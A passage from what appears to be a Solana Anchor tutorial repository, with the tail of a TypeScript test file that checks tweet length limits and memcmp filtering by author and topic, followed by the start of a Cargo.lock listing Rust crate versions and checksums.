104 | 105 | await program.methods.sendTweet('hello', contentWith281Chars) 106 | .accounts({ 107 | tweet: tweet.publicKey, 108 | author: program.provider.wallet.payer.publicKey, 109 | systemProgram: anchor.web3.SystemProgram.programId 110 | }) 111 | .signers([tweet]) 112 | .rpc() 113 | .catch(error => { 114 | console.log(error.error) 115 | assert.equal(error.error.errorMessage, 'The provided content should be 280 characters long maximum') 116 | return 117 | }) 118 | }) 119 | 120 | it('can fetch all tweets', async () => { 121 | const tweetAccounts = await program.account.tweet.all(); 122 | assert.equal(tweetAccounts.length, 3); 123 | }); 124 | 125 | it('can filter tweets by author', async () => { 126 | 127 | /** 128 | * The memcmp filter— is a bit more useful. It allows us to compare an array of bytes with the account's data at a particular offset. 129 | * That means, we need to provide an array of bytes that should be present in the account's data at a certain position and it will only return these accounts.So we need to provide 2 things: 130 | * The offset: The position (in bytes) in which we should start comparing the data. This expects an integer. 131 | * The bytes array: The data to compare to the account's data. This array of bytes should be encoded in base 58. 132 | * For instance, say I wanted to retrieve all accounts that have my public key at the 42nd byte. Then, I could use the following memcmp filter 133 | 134 | * So we need two things: the offset and the bytes. For the offset, 135 | * we need to find out where in the data the author's public key 136 | * is stored. Fortunately, we've already done all that work in episode 3. 137 | * We know that the first 8 bytes are reserved for the discriminator and 138 | * that the author's public key comes afterwards. Therefore, our offset is simply: 8 139 | */ 140 | const authorPublicKey = program.provider.wallet.publicKey 141 | const tweetAccounts = await program.account.tweet.all([ 142 | { 143 | memcmp: { 144 | offset: 8, // Discriminator. 145 | bytes: authorPublicKey.toBase58(), 146 | } 147 | } 148 | ]); 149 | 150 | // the account was used to send 2 tweets above 151 | assert.equal(tweetAccounts.length, 2); 152 | /** 153 | * Let's be a bit more strict in that test and make sure that both of the accounts inside tweetAccounts are in fact from our wallet. 154 | */ 155 | assert.ok(tweetAccounts.every(tweetAccount => { 156 | return tweetAccount.account.author.toBase58() === authorPublicKey.toBase58() 157 | })) 158 | 159 | }); 160 | 161 | it('can filter tweets by topics', async () => { 162 | /** 163 | * Next, we need to provide a topic to search for in our tests. Since two of the three accounts created in the tests use the veganism topic, let's use that. 164 | * However, we can't just give 'veganism' as a string to the bytes property. It needs to be a base-58 encoded array of bytes. To do this, we first need to convert our string to a buffer which we can then encode in base 58. 165 | * We can convert a string to a buffer using Buffer.from('some string'). 166 | * We can base-58 encode a buffer using bs58.encode(buffer). 167 | * The Buffer variable is already available globally but that's not the case for the bs58 variable that we need to import explicitly at the top of our test file. 168 | */ 169 | const tweetAccounts = await program.account.tweet.all([ 170 | { 171 | memcmp: { 172 | offset: 8 + // Discriminator. 173 | 32 + // Author public key. 174 | 8 + // Timestamp. 175 | 4, // Topic string prefix. 176 | bytes: bs58.encode(Buffer.from('non_vegetarian')), 177 | } 178 | } 179 | ]); 180 | 181 | assert.equal(tweetAccounts.length, 2); 182 | assert.ok(tweetAccounts.every(tweetAccount => { 183 | return tweetAccount.account.topic === 'non_vegetarian' 184 | })) 185 | 186 | }) 187 | 188 | }); 189 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "ahash" 7 | version = "0.7.6" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" 10 | dependencies = [ 11 | "getrandom 0.2.6", 12 | "once_cell", 13 | "version_check", 14 | ] 15 | 16 | [[package]] 17 | name = "aho-corasick" 18 | version = "0.7.18" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" 21 | dependencies = [ 22 | "memchr", 23 | ] 24 | 25 | [[package]] 26 | name = "anchor-attribute-access-control" 27 | version = "0.24.2" 28 | source = "registry+https://github.com/rust-lang/crates.io-index" 29 | checksum = "a9b75d05b6b4ac9d95bb6e3b786b27d3a708c4c5a87c92ffaa25bbe9ae4c5d91" 30 | dependencies = [ 31 | "anchor-syn", 32 | "anyhow", 33 | "proc-macro2", 34 | "quote", 35 | "regex", 36 | "syn", 37 | ] 38 | 39 | [[package]] 40 | name = "anchor-attribute-account" 41 | version = "0.24.2" 42 | source = "registry+https://github.com/rust-lang/crates.io-index" 43 | checksum = "485351a6d8157750d10d88c8e256f1bf8339262b2220ae9125aed3471309b5de" 44 | dependencies = [ 45 | "anchor-syn", 46 | "anyhow", 47 | "bs58 0.4.0", 48 | "proc-macro2", 49 | "quote", 50 | "rustversion", 51 | "syn", 52 | ] 53 | 54 | [[package]] 55 | name = "anchor-attribute-constant" 56 | version = "0.24.2" 57 | source = "registry+https://github.com/rust-lang/crates.io-index" 58 | checksum = "dc632c540913dd051a78b00587cc47f57013d303163ddfaf4fa18717f7ccc1e0" 59 | dependencies = [ 60 | "anchor-syn", 61 | "proc-macro2", 62 | "syn", 63 | ] 64 | 65 | [[package]] 66 | name = "anchor-attribute-error" 67 | version = "0.24.2" 68 | source = "registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "3b5bd1dcfa7f3bc22dacef233d70a9e0bee269c4ac484510662f257cba2353a1" 70 | dependencies = [ 71 | "anchor-syn", 72 | "proc-macro2", 73 | "quote", 74 | "syn", 75 | ] 76 | 77 | [[package]] 78 | name = "anchor-attribute-event" 79 | version = "0.24.2" 80 | source = "registry+https://github.com/rust-lang/crates.io-index" 81 | checksum = "6c6f9e6ce551ac9a177a45c99a65699a860c9e95fac68675138af1246e2591b0" 82 | dependencies = [ 83 | "anchor-syn", 84 | "anyhow", 85 | "proc-macro2", 86 | "quote", 87 | "syn", 88 | ] 89 | 90 | [[package]] 91 | name = "anchor-attribute-interface" 92 | version = "0.24.2" 93 | source = "registry+https://github.com/rust-lang/crates.io-index" 94 | checksum = "d104aa17418cb329ed7418b227e083d5f326a27f26ce98f5d92e33da62a5f459" 95 | dependencies = [ 96 | "anchor-syn", 97 | "anyhow", 98 | "heck", 99 | "proc-macro2", 100 | "quote", 101 | "syn", 102 | ] 103 | 104 | [[package]] 105 | name = "anchor-attribute-program" 106 | version = "0.24.2" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "b6831b920b173c004ddf7ae1167d1d25e9f002ffcb1773bbc5c7ce532a4441e1" 109 | dependencies = [ 110 | "anchor-syn", 111 | "anyhow", 112 | "proc-macro2", 113 | "quote", 114 | "syn", 115 | ] 116 | 117 | [[package]] 118 | name = "anchor-attribute-state" 119 | version = "0.24.2" 120 | source = "registry+https://github.com/rust-lang/crates.io-index" 121 | checksum = "cde147b10c71d95dc679785db0b5f3abac0091f789167aa62ac0135e2f54e8b9" 122 | dependencies = [ 123 | "anchor-syn", 124 | "anyhow", 125 | "proc-macro2", 126 | "quote", 127 | "syn", 128 | ] 129 | 130 | [[package]] 131 | name = "anchor-derive-accounts" 132 | version = "0.24.2" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "9cde98a0e1a56046b040ff591dfda391f88917af2b6487d02b45093c05be3514" 135 | dependencies = [ 136 | "anchor-syn", 137 | "anyhow", 138 | "proc-macro2", 139 | "quote", 140 | "syn", 141 | ] 142 | 143 | [[package]] 144 | name = "anchor-lang" 145 | version = "0.24.2" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "a85dd2c5e29e20c7f4701a43724d6cd5406d0ee5694705522e43da0f26542a84" 148 | dependencies = [ 149 | "anchor-attribute-access-control", 150 | "anchor-attribute-account", 151 | "anchor-attribute-constant", 152 | "anchor-attribute-error", 153 | "anchor-attribute-event", 154 | "anchor-attribute-interface", 155 | "anchor-attribute-program", 156 | "anchor-attribute-state", 157 | "anchor-derive-accounts", 158 | "arrayref", 159 | "base64 0.13.0", 160 | "bincode", 161 | "borsh", 162 | "bytemuck", 163 | "solana-program", 164 | "thiserror", 165 | ] 166 | 167 | [[package]] 168 | name = "anchor-syn" 169 | version = "0.24.2" 170 | source = "registry+https://github.com/rust-lang/crates.io-index" 171 | checksum = "03549dc2eae0b20beba6333b14520e511822a6321cdb1760f841064a69347316" 172 | dependencies = [ 173 | "anyhow", 174 | "bs58 0.3.1", 175 | "heck", 176 | "proc-macro2", 177 | "proc-macro2-diagnostics", 178 | "quote", 179 | "serde", 180 | "serde_json", 181 | "sha2", 182 | "syn", 183 | "thiserror", 184 | ] 185 | 186 | [[package]] 187 | name = "anyhow" 188 | version = "1.0.57" 189 | source = "registry+https://github.com/rust-lang/crates.io-index" 190 | checksum = "08f9b8508dccb7687a1d6c4ce66b2b0ecef467c94667de27d8d7fe1f8d2a9cdc" 191 | 192 | [[package]] 193 | name = "arrayref" 194 | version = "0.3.6" 195 | source = "registry+https://github.com/rust-lang/crates.io-index" 196 | checksum = "a4c527152e37cf757a3f78aae5a06fbeefdb07ccc535c980a3208ee3060dd544" 197 | 198 | [[package]] 199 | name = "arrayvec" 200 | version = "0.7.2" 201 | source = "registry+https://github.com/rust-lang/crates.io-index" 202 | checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6" 203 | 204 | [[package]] 205 | name = "atty" 206 | version = "0.2.14" 207 | source = "registry+https://github.com/rust-lang/crates.io-index" 208 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 209 | dependencies = [ 210 | "hermit-abi", 211 | "libc", 212 | "winapi", 213 | ] 214 | 215 | [[package]] 216 | name = "autocfg" 217 | version = "1.1.0" 218 | source = "registry+https://github.com/rust-lang/crates.io-index" 219 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 220 | 221 | [[package]] 222 | name = "base64" 223 | version = "0.12.3" 224 | source = "registry+https://github.com/rust-lang/crates.io-index" 225 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" 226 | 227 | [[package]] 228 | name = "base64" 229 | version = "0.13.0" 230 | source = "registry+https://github.com/rust-lang/crates.io-index" 231 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 232 | 233 | [[package]] 234 | name = "bincode" 235 | version = "1.3.3" 236 | source = "registry+https://github.com/rust-lang/crates.io-index" 237 | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" 238 | dependencies = [ 239 | "serde", 240 | ] 241 | 242 | [[package]] 243 | name = "bitflags" 244 | version = "1.3.2" 245 | source = "registry+https://github.com/rust-lang/crates.io-index" 246 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 247 | 248 | [[package]] 249 | name = "blake3" 250 | version = "1.3.1" 251 | source = "registry+https://github.com/rust-lang/crates.io-index" 252 | checksum = "a08e53fc5a564bb15bfe6fae56bd71522205f1f91893f9c0116edad6496c183f" 253 | dependencies = [ 254 | "arrayref", 255 | "arrayvec", 256 | "cc", 257 | "cfg-if", 258 | "constant_time_eq", 259 | "digest 0.10.3", 260 | ] 261 | 262 | [[package]] 263 | name = "block-buffer" 264 | version = "0.9.0" 265 | source = "registry+https://github.com/rust-lang/crates.io-index" 266 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" 267 | dependencies = [ 268 | "block-padding", 269 | "generic-array", 270 | ] 271 | 272 | [[package]] 273 | name = "block-buffer" 274 | version = "0.10.2" 275 | source = "registry+https://github.com/rust-lang/crates.io-index" 276 | checksum = "0bf7fe51849ea569fd452f37822f606a5cabb684dc918707a0193fd4664ff324" 277 | dependencies = [ 278 | "generic-array", 279 | ] 280 | 281 | [[package]] 282 | name = "block-padding" 283 | version = "0.2.1" 284 | source = "registry+https://github.com/rust-lang/crates.io-index" 285 | checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae" 286 | 287 | [[package]] 288 | name = "borsh" 289 | version = "0.9.3" 290 | source = "registry+https://github.com/rust-lang/crates.io-index" 291 | checksum = "15bf3650200d8bffa99015595e10f1fbd17de07abbc25bb067da79e769939bfa" 292 | dependencies = [ 293 | "borsh-derive", 294 | "hashbrown", 295 | ] 296 | 297 | [[package]] 298 | name = "borsh-derive" 299 | version = "0.9.3" 300 | source = "registry+https://github.com/rust-lang/crates.io-index" 301 | checksum = "6441c552f230375d18e3cc377677914d2ca2b0d36e52129fe15450a2dce46775" 302 | dependencies = [ 303 | "borsh-derive-internal", 304 | "borsh-schema-derive-internal", 305 | "proc-macro-crate", 306 | "proc-macro2", 307 | "syn", 308 | ] 309 | 310 | [[package]] 311 | name = "borsh-derive-internal" 312 | version = "0.9.3" 313 | source = "registry+https://github.com/rust-lang/crates.io-index" 314 | checksum = "5449c28a7b352f2d1e592a8a28bf139bc71afb0764a14f3c02500935d8c44065" 315 | dependencies = [ 316 | "proc-macro2", 317 | "quote", 318 | "syn", 319 | ] 320 | 321 | [[package]] 322 | name = "borsh-schema-derive-internal" 323 | version = "0.9.3" 324 | source = "registry+https://github.com/rust-lang/crates.io-index" 325 | checksum = "cdbd5696d8bfa21d53d9fe39a714a18538bad11492a42d066dbbc395fb1951c0" 326 | dependencies = [ 327 | "proc-macro2", 328 | "quote", 329 | "syn", 330 | ] 331 | 332 | [[package]] 333 | name = "bs58" 334 | version = "0.3.1" 335 | source = "registry+https://github.com/rust-lang/crates.io-index" 336 | checksum = "476e9cd489f9e121e02ffa6014a8ef220ecb15c05ed23fc34cca13925dc283fb" 337 | 338 | [[package]] 339 | name = "bs58" 340 | version = "0.4.0" 341 | source = "registry+https://github.com/rust-lang/crates.io-index" 342 | checksum = "771fe0050b883fcc3ea2359b1a96bcfbc090b7116eae7c3c512c7a083fdf23d3" 343 | 344 | [[package]] 345 | name = "bumpalo" 346 | version = "3.9.1" 347 | source = "registry+https://github.com/rust-lang/crates.io-index" 348 | checksum = "a4a45a46ab1f2412e53d3a0ade76ffad2025804294569aae387231a0cd6e0899" 349 | 350 | [[package]] 351 | name = "bv" 352 | version = "0.11.1" 353 | source = "registry+https://github.com/rust-lang/crates.io-index" 354 | checksum = "8834bb1d8ee5dc048ee3124f2c7c1afcc6bc9aed03f11e9dfd8c69470a5db340" 355 | dependencies = [ 356 | "feature-probe", 357 | "serde", 358 | ] 359 | 360 | [[package]] 361 | name = "bytemuck" 362 | version = "1.9.1" 363 | source = "registry+https://github.com/rust-lang/crates.io-index" 364 | checksum = "cdead85bdec19c194affaeeb670c0e41fe23de31459efd1c174d049269cf02cc" 365 | dependencies = [ 366 | "bytemuck_derive", 367 | ] 368 | 369 | [[package]] 370 | name = "bytemuck_derive" 371 | version = "1.1.0" 372 | source = "registry+https://github.com/rust-lang/crates.io-index" 373 | checksum = "562e382481975bc61d11275ac5e62a19abd00b0547d99516a415336f183dcd0e" 374 | dependencies = [ 375 | "proc-macro2", 376 | "quote", 377 | "syn", 378 | ] 379 | 380 | [[package]] 381 | name = "byteorder" 382 | version = "1.4.3" 383 | source = "registry+https://github.com/rust-lang/crates.io-index" 384 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" 385 | 386 | [[package]] 387 | name = "cc" 388 | version = "1.0.73" 389 | source = "registry+https://github.com/rust-lang/crates.io-index" 390 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" 391 | 392 | [[package]] 393 | name = "cfg-if" 394 | version = "1.0.0" 395 | source = "registry+https://github.com/rust-lang/crates.io-index" 396 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 397 | 398 | [[package]] 399 | name = "console_error_panic_hook" 400 | version = "0.1.7" 401 | source = "registry+https://github.com/rust-lang/crates.io-index" 402 | checksum = "a06aeb73f470f66dcdbf7223caeebb85984942f22f1adb2a088cf9668146bbbc" 403 | dependencies = [ 404 | "cfg-if", 405 | "wasm-bindgen", 406 | ] 407 | 408 | [[package]] 409 | name = "console_log" 410 | version = "0.2.0" 411 | source = "registry+https://github.com/rust-lang/crates.io-index" 412 | checksum = "501a375961cef1a0d44767200e66e4a559283097e91d0730b1d75dfb2f8a1494" 413 | dependencies = [ 414 | "log", 415 | "web-sys", 416 | ] 417 | 418 | [[package]] 419 | name = "constant_time_eq" 420 | version = "0.1.5" 421 | source = "registry+https://github.com/rust-lang/crates.io-index" 422 | checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc" 423 | 424 | [[package]] 425 | name = "cpufeatures" 426 | version = "0.2.2" 427 | source = "registry+https://github.com/rust-lang/crates.io-index" 428 | checksum = "59a6001667ab124aebae2a495118e11d30984c3a653e99d86d58971708cf5e4b" 429 | dependencies = [ 430 | "libc", 431 | ] 432 | 433 | [[package]] 434 | name = "crunchy" 435 | version = "0.2.2" 436 | source = "registry+https://github.com/rust-lang/crates.io-index" 437 | checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" 438 | 439 | [[package]] 440 | name = "crypto-common" 441 | version = "0.1.3" 442 | source = "registry+https://github.com/rust-lang/crates.io-index" 443 | checksum = "57952ca27b5e3606ff4dd79b0020231aaf9d6aa76dc05fd30137538c50bd3ce8" 444 | dependencies = [ 445 | "generic-array", 446 | "typenum", 447 | ] 448 | 449 | [[package]] 450 | name = "crypto-mac" 451 | version = "0.8.0" 452 | source = "registry+https://github.com/rust-lang/crates.io-index" 453 | checksum = "b584a330336237c1eecd3e94266efb216c56ed91225d634cb2991c5f3fd1aeab" 454 | dependencies = [ 455 | "generic-array", 456 | "subtle", 457 | ] 458 | 459 | [[package]] 460 | name = "curve25519-dalek" 461 | version = "3.2.1" 462 | source = "registry+https://github.com/rust-lang/crates.io-index" 463 | checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0" 464 | dependencies = [ 465 | "byteorder", 466 | "digest 0.9.0", 467 | "rand_core", 468 | "subtle", 469 | "zeroize", 470 | ] 471 | 472 | [[package]] 473 | name = "digest" 474 | version = "0.9.0" 475 | source = "registry+https://github.com/rust-lang/crates.io-index" 476 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" 477 | dependencies = [ 478 | "generic-array", 479 | ] 480 | 481 | [[package]] 482 | name = "digest" 483 | version = "0.10.3" 484 | source = "registry+https://github.com/rust-lang/crates.io-index" 485 | checksum = "f2fb860ca6fafa5552fb6d0e816a69c8e49f0908bf524e30a90d97c85892d506" 486 | dependencies = [ 487 | "block-buffer 0.10.2", 488 | "crypto-common", 489 | "subtle", 490 | ] 491 | 492 | [[package]] 493 | name = "either" 494 | version = "1.6.1" 495 | source = "registry+https://github.com/rust-lang/crates.io-index" 496 | checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457" 497 | 498 | [[package]] 499 | name = "env_logger" 500 | version = "0.9.0" 501 | source = "registry+https://github.com/rust-lang/crates.io-index" 502 | checksum = "0b2cf0344971ee6c64c31be0d530793fba457d322dfec2810c453d0ef228f9c3" 503 | dependencies = [ 504 | "atty", 505 | "humantime", 506 | "log", 507 | "regex", 508 | "termcolor", 509 | ] 510 | 511 | [[package]] 512 | name = "feature-probe" 513 | version = "0.1.1" 514 | source = "registry+https://github.com/rust-lang/crates.io-index" 515 | checksum = "835a3dc7d1ec9e75e2b5fb4ba75396837112d2060b03f7d43bc1897c7f7211da" 516 | 517 | [[package]] 518 | name = "generic-array" 519 | version = "0.14.5" 520 | source = "registry+https://github.com/rust-lang/crates.io-index" 521 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803" 522 | dependencies = [ 523 | "serde", 524 | "typenum", 525 | "version_check", 526 | ] 527 | 528 | [[package]] 529 | name = "getrandom" 530 | version = "0.1.16" 531 | source = "registry+https://github.com/rust-lang/crates.io-index" 532 | checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" 533 | dependencies = [ 534 | "cfg-if", 535 | "js-sys", 536 | "libc", 537 | "wasi 0.9.0+wasi-snapshot-preview1", 538 | "wasm-bindgen", 539 | ] 540 | 541 | [[package]] 542 | name = "getrandom" 543 | version = "0.2.6" 544 | source = "registry+https://github.com/rust-lang/crates.io-index" 545 | checksum = "9be70c98951c83b8d2f8f60d7065fa6d5146873094452a1008da8c2f1e4205ad" 546 | dependencies = [ 547 | "cfg-if", 548 | "libc", 549 | "wasi 0.10.2+wasi-snapshot-preview1", 550 | ] 551 | 552 | [[package]] 553 | name = "hashbrown" 554 | version = "0.11.2" 555 | source = "registry+https://github.com/rust-lang/crates.io-index" 556 | checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" 557 | dependencies = [ 558 | "ahash", 559 | ] 560 | 561 | [[package]] 562 | name = "heck" 563 | version = "0.3.3" 564 | source = "registry+https://github.com/rust-lang/crates.io-index" 565 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" 566 | dependencies = [ 567 | "unicode-segmentation", 568 | ] 569 | 570 | [[package]] 571 | name = "hermit-abi" 572 | version = "0.1.19" 573 | source = "registry+https://github.com/rust-lang/crates.io-index" 574 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 575 | dependencies = [ 576 | "libc", 577 | ] 578 | 579 | [[package]] 580 | name = "hmac" 581 | version = "0.8.1" 582 | source = "registry+https://github.com/rust-lang/crates.io-index" 583 | checksum = "126888268dcc288495a26bf004b38c5fdbb31682f992c84ceb046a1f0fe38840" 584 | dependencies = [ 585 | "crypto-mac", 586 | "digest 0.9.0", 587 | ] 588 | 589 | [[package]] 590 | name = "hmac-drbg" 591 | version = "0.3.0" 592 | source = "registry+https://github.com/rust-lang/crates.io-index" 593 | checksum = "17ea0a1394df5b6574da6e0c1ade9e78868c9fb0a4e5ef4428e32da4676b85b1" 594 | dependencies = [ 595 | "digest 0.9.0", 596 | "generic-array", 597 | "hmac", 598 | ] 599 | 600 | [[package]] 601 | name = "humantime" 602 | version = "2.1.0" 603 | source = "registry+https://github.com/rust-lang/crates.io-index" 604 | checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" 605 | 606 | [[package]] 607 | name = "instant" 608 | version = "0.1.12" 609 | source = "registry+https://github.com/rust-lang/crates.io-index" 610 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" 611 | dependencies = [ 612 | "cfg-if", 613 | ] 614 | 615 | [[package]] 616 | name = "itertools" 617 | version = "0.10.3" 618 | source = "registry+https://github.com/rust-lang/crates.io-index" 619 | checksum = "a9a9d19fa1e79b6215ff29b9d6880b706147f16e9b1dbb1e4e5947b5b02bc5e3" 620 | dependencies = [ 621 | "either", 622 | ] 623 | 624 | [[package]] 625 | name = "itoa" 626 | version = "1.0.2" 627 | source = "registry+https://github.com/rust-lang/crates.io-index" 628 | checksum = "112c678d4050afce233f4f2852bb2eb519230b3cf12f33585275537d7e41578d" 629 | 630 | [[package]] 631 | name = "js-sys" 632 | version = "0.3.57" 633 | source = "registry+https://github.com/rust-lang/crates.io-index" 634 | checksum = "671a26f820db17c2a2750743f1dd03bafd15b98c9f30c7c2628c024c05d73397" 635 | dependencies = [ 636 | "wasm-bindgen", 637 | ] 638 | 639 | [[package]] 640 | name = "keccak" 641 | version = "0.1.2" 642 | source = "registry+https://github.com/rust-lang/crates.io-index" 643 | checksum = "f9b7d56ba4a8344d6be9729995e6b06f928af29998cdf79fe390cbf6b1fee838" 644 | 645 | [[package]] 646 | name = "lazy_static" 647 | version = "1.4.0" 648 | source = "registry+https://github.com/rust-lang/crates.io-index" 649 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 650 | 651 | [[package]] 652 | name = "libc" 653 | version = "0.2.126" 654 | source = "registry+https://github.com/rust-lang/crates.io-index" 655 | checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836" 656 | 657 | [[package]] 658 | name = "libsecp256k1" 659 | version = "0.6.0" 660 | source = "registry+https://github.com/rust-lang/crates.io-index" 661 | checksum = "c9d220bc1feda2ac231cb78c3d26f27676b8cf82c96971f7aeef3d0cf2797c73" 662 | dependencies = [ 663 | "arrayref", 664 | "base64 0.12.3", 665 | "digest 0.9.0", 666 | "hmac-drbg", 667 | "libsecp256k1-core", 668 | "libsecp256k1-gen-ecmult", 669 | "libsecp256k1-gen-genmult", 670 | "rand", 671 | "serde", 672 | "sha2", 673 | "typenum", 674 | ] 675 | 676 | [[package]] 677 | name = "libsecp256k1-core" 678 | version = "0.2.2" 679 | source = "registry+https://github.com/rust-lang/crates.io-index" 680 | checksum = "d0f6ab710cec28cef759c5f18671a27dae2a5f952cdaaee1d8e2908cb2478a80" 681 | dependencies = [ 682 | "crunchy", 683 | "digest 0.9.0", 684 | "subtle", 685 | ] 686 | 687 | [[package]] 688 | name = "libsecp256k1-gen-ecmult" 689 | version = "0.2.1" 690 | source = "registry+https://github.com/rust-lang/crates.io-index" 691 | checksum = "ccab96b584d38fac86a83f07e659f0deafd0253dc096dab5a36d53efe653c5c3" 692 | dependencies = [ 693 | "libsecp256k1-core", 694 | ] 695 | 696 | [[package]] 697 | name = "libsecp256k1-gen-genmult" 698 | version = "0.2.1" 699 | source = "registry+https://github.com/rust-lang/crates.io-index" 700 | checksum = "67abfe149395e3aa1c48a2beb32b068e2334402df8181f818d3aee2b304c4f5d" 701 | dependencies = [ 702 | "libsecp256k1-core", 703 | ] 704 | 705 | [[package]] 706 | name = "lock_api" 707 | version = "0.4.7" 708 | source = "registry+https://github.com/rust-lang/crates.io-index" 709 | checksum = "327fa5b6a6940e4699ec49a9beae1ea4845c6bab9314e4f84ac68742139d8c53" 710 | dependencies = [ 711 | "autocfg", 712 | "scopeguard", 713 | ] 714 | 715 | [[package]] 716 | name = "log" 717 | version = "0.4.17" 718 | source = "registry+https://github.com/rust-lang/crates.io-index" 719 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 720 | dependencies = [ 721 | "cfg-if", 722 | ] 723 | 724 | [[package]] 725 | name = "memchr" 726 | version = "2.5.0" 727 | source = "registry+https://github.com/rust-lang/crates.io-index" 728 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 729 | 730 | [[package]] 731 | name = "memmap2" 732 | version = "0.5.3" 733 | source = "registry+https://github.com/rust-lang/crates.io-index" 734 | checksum = "057a3db23999c867821a7a59feb06a578fcb03685e983dff90daf9e7d24ac08f" 735 | dependencies = [ 736 | "libc", 737 | ] 738 | 739 | [[package]] 740 | name = "num-derive" 741 | version = "0.3.3" 742 | source = "registry+https://github.com/rust-lang/crates.io-index" 743 | checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d" 744 | dependencies = [ 745 | "proc-macro2", 746 | "quote", 747 | "syn", 748 | ] 749 | 750 | [[package]] 751 | name = "num-traits" 752 | version = "0.2.15" 753 | source = "registry+https://github.com/rust-lang/crates.io-index" 754 | checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" 755 | dependencies = [ 756 | "autocfg", 757 | ] 758 | 759 | [[package]] 760 | name = "once_cell" 761 | version = "1.12.0" 762 | source = "registry+https://github.com/rust-lang/crates.io-index" 763 | checksum = "7709cef83f0c1f58f666e746a08b21e0085f7440fa6a29cc194d68aac97a4225" 764 | 765 | [[package]] 766 | name = "opaque-debug" 767 | version = "0.3.0" 768 | source = "registry+https://github.com/rust-lang/crates.io-index" 769 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 770 | 771 | [[package]] 772 | name = "parking_lot" 773 | version = "0.11.2" 774 | source = "registry+https://github.com/rust-lang/crates.io-index" 775 | checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" 776 | dependencies = [ 777 | "instant", 778 | "lock_api", 779 | "parking_lot_core", 780 | ] 781 | 782 | [[package]] 783 | name = "parking_lot_core" 784 | version = "0.8.5" 785 | source = "registry+https://github.com/rust-lang/crates.io-index" 786 | checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216" 787 | dependencies = [ 788 | "cfg-if", 789 | "instant", 790 | "libc", 791 | "redox_syscall", 792 | "smallvec", 793 | "winapi", 794 | ] 795 | 796 | [[package]] 797 | name = "ppv-lite86" 798 | version = "0.2.16" 799 | source = "registry+https://github.com/rust-lang/crates.io-index" 800 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" 801 | 802 | [[package]] 803 | name = "proc-macro-crate" 804 | version = "0.1.5" 805 | source = "registry+https://github.com/rust-lang/crates.io-index" 806 | checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785" 807 | dependencies = [ 808 | "toml", 809 | ] 810 | 811 | [[package]] 812 | name = "proc-macro2" 813 | version = "1.0.39" 814 | source = "registry+https://github.com/rust-lang/crates.io-index" 815 | checksum = "c54b25569025b7fc9651de43004ae593a75ad88543b17178aa5e1b9c4f15f56f" 816 | dependencies = [ 817 | "unicode-ident", 818 | ] 819 | 820 | [[package]] 821 | name = "proc-macro2-diagnostics" 822 | version = "0.9.1" 823 | source = "registry+https://github.com/rust-lang/crates.io-index" 824 | checksum = "4bf29726d67464d49fa6224a1d07936a8c08bb3fba727c7493f6cf1616fdaada" 825 | dependencies = [ 826 | 